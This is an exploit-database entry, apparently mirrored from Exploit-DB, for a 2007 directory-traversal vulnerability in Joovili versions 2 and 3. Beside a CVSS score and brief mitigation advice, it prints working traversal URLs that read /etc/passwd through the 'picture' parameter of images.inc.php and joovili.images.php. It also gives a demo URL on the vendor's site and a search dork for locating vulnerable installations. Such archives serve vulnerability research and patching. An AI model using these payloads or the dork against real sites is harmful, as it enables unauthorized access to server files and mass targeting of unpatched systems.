header-logo
Suggest Exploit
vendor:
Joovili
by:
EcHoLL
5.5
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: Joovili
Affected Version From: 2.***
Affected Version To: 3.**
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

Directory Traversal in Joovili

The vulnerability allows an attacker to traverse directories and access sensitive files such as the /etc/passwd file. The exploit is achieved by manipulating the 'picture' parameter in the URL.

Mitigation:

Implement proper input validation and sanitization to prevent directory traversal attacks. Limit access to sensitive files and directories.
Source

Exploit-DB raw data:

found by EcHoLL
version: 2.***
include/images.inc.php?picture=../../../../../../../../etc/passwd&thumbnail=FALSE
include/images.inc.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
version 3.**
joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
joovili.images.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
 
demo
http://demo.joovili.com/include/joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
dork: powered by joovili

# milw0rm.com [2007-12-27]

Navigation

Suggest Exploit

Services By CQR